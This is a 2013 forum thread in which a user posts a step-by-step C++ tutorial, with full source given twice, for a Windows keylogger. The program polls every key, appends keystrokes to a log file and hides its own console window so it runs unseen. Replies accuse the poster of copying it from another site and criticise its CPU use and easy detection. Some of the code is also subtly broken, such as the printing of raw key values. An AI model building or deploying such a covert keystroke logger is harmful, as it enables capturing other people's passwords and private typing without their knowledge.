C++ How to make a basic keylogger

Hyde · 07-12-2013, 07:56 AM

Hello everyone.

This tutorial will teach you to create a keylogger in c++ using vs 2008.
It can also be done in dev-c++, codegear c++ builder.
This keylogger wil save a log of the keys that are pressed on your HD.

First we need to create a new project.
Click on 'File' > 'New' > 'Project'.
Now choose 'Win32 Console Application' and choose for name "Keylogger".

If you get the 'Win32 Application Wizzard' click on 'Next' and then select 'Empty project' under 'Additional options' and click on 'Finish'.

You should have a empty project now.
Now we will add a .cpp file.

Right click on 'Source Files' and take 'Add' > 'New Item'.

Now take 'C++ File(.cpp)' and name it Keylogger.

then click 'Add'.

Now open Keylogger.cpp and Write this in it:

Code:
#include <iostream>    // These we need to
using namespace std;   // include to get our
#include <windows.h>   // Keylogger working.
#include <winuser.h>   //

Now write this:

Code:
int Save (int key_stroke, char *file);
void Stealth(); //Declare Stealth.

Now we need to make a main function.(The main function will be the first that will be executed.)

Code:
int main()  
{
        Stealth(); // This will call the stealth function we will write later.
    char i; //Here we declare 'i' from the type 'char'

    while (1) // Here we say 'while (1)' execute the code. But 1 is always 1 so it will always execute.
    {           // Note this is also the part that will increase your cpu usage
        for(i = 8; i <= 190; i++)
        {
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");    // This will send the value of 'i' and "LOG.txt" to our save function we will write later. (The reason why we declared it at the start of the program is because else the main function is above the save function so he wont recognize the save function. Same as with the stealth function.)
        }
    }
    system ("PAUSE"); // Here we say that the system have to wait before exiting.
return 0;
}

Now under the latest code add this to make it look better:

Code:
/* *********************************** */

Under that we will write our keylogger so it will also recognize special keys like the 'spacebar' and stuff. If you want to add some yourself here is a site where you can look up the ascii table. http://www.asciitable.com/

Code:
int Save (int key_stroke, char *file)   // Here we define our save function that we declared before.
{
    if ( (key_stroke == 1) || (key_stroke == 2) )
        return 0;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
    
    cout << key_stroke << endl;

        if (key_stroke == 8)  // The numbers stands for the ascii value of a character
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");  // This will print [BACKSPACE] when key 8 is pressed. All the code under this works the same.
        else if (key_stroke == 13)
        fprintf(OUTPUT_FILE, "%s", "\n"); // This will make a newline when the enter key is pressed.
        else if (key_stroke == 32)
        fprintf(OUTPUT_FILE, "%s", " ");
        else if (key_stroke == VK_TAB)              //VK stands for virtual key wich are the keys like Up arrow, down arrow..
        fprintf(OUTPUT_FILE, "%s", "[TAB]");
            else if (key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
            else if (key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
                else if (key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
                else if (key_stroke == VK_END)
        fprintf(OUTPUT_FILE, "%s", "[END]");
                    else if (key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE, "%s", "[HOME]");
                    else if (key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "[LEFT]");
                        else if (key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "[UP]");
                        else if (key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
                            else if (key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "[DOWN]");
                            else if (key_stroke == 190 || key_stroke == 110)
        fprintf(OUTPUT_FILE, "%s", ".");
                            else
                                fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
    return 0;
}

Now we going to add Stealth to it. Under the latest code add again:

Code:
/* *********************************** */

Now write:

Code:
void Stealth()
{
  HWND Stealth;
  AllocConsole();
  Stealth = FindWindowA("ConsoleWindowClass", NULL);
  ShowWindow(Stealth,0);
}

Now, if you've done everything right, your full source code should look like below:

Code:
int Save (int key_stroke, char *file);
void Stealth();

int main()
{
        Stealth();
    char i;

    while (1)
    {
        for(i = 8; i <= 190; i++)
        {
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
        }
    }
    system ("PAUSE");
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
    if ( (key_stroke == 1) || (key_stroke == 2) )
        return 0;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");

    cout << key_stroke << endl;

        if (key_stroke == 8)
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");  
        else if (key_stroke == 13)
        fprintf(OUTPUT_FILE, "%s", "\n");
        else if (key_stroke == 32)
        fprintf(OUTPUT_FILE, "%s", " ");
        else if (key_stroke == VK_TAB)              
        fprintf(OUTPUT_FILE, "%s", "[TAB]");
            else if (key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
            else if (key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
                else if (key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
                else if (key_stroke == VK_END)
        fprintf(OUTPUT_FILE, "%s", "[END]");
                    else if (key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE, "%s", "[HOME]");
                    else if (key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "[LEFT]");
                        else if (key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "[UP]");
                        else if (key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
                            else if (key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "[DOWN]");
                            else if (key_stroke == 190 || key_stroke == 110)
        fprintf(OUTPUT_FILE, "%s", ".");
                            else
                                fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
    return 0;
}

/* *********************************** */

void Stealth()
{
  HWND Stealth;
  AllocConsole();
  Stealth = FindWindowA("ConsoleWindowClass", NULL);
  ShowWindow(Stealth,0);
}

Boyd · 07-12-2013, 08:01 AM

Congrats on the copy and paste.
http://hackspc.com/how-to-make-a-keylogger/

Hyde · 07-12-2013, 08:07 AM

You should take content anyway you can get it.

Boyd · 07-12-2013, 08:08 AM

(07-12-2013, 08:07 AM)Hyde Wrote: more harmful for you to point that out than me.

You should take content anyway you can get it.

Explain how that's more harmful for me than you?

OversouL · 07-17-2013, 08:09 AM

(07-12-2013, 08:07 AM)Hyde Wrote: You should take content anyway you can get it.

You should at least give credits. :glare:

Wonders · 07-17-2013, 08:27 AM

Perhaps add credits to the bottom of the thread.

Thanks for posting regardless!

xornull · 04-12-2014, 08:33 PM

The most basic keylogger.

I doubt anyone here really doesn't know this though.

Tyson_08 · 04-12-2014, 11:14 PM

This was copy-pasted, but I happy that you didn't bother to make it look like it was your own tutorial.
This might be helpful to someone at least... Keep sharing more quality stuff... Smile

w00t · 04-13-2014, 04:06 AM

Whoever actually programmed this should be beaten for their horrid comments. I mean, multi-line comments aren't new.

xornull · 04-13-2014, 07:41 AM

This is also very bad because it keeps spamming the CPU for the same function, and it may also miss some keystrokes,
plus it's easy as fuck to detect, what other thing will a program do if all it's doing is calling GetAsyncKeyState...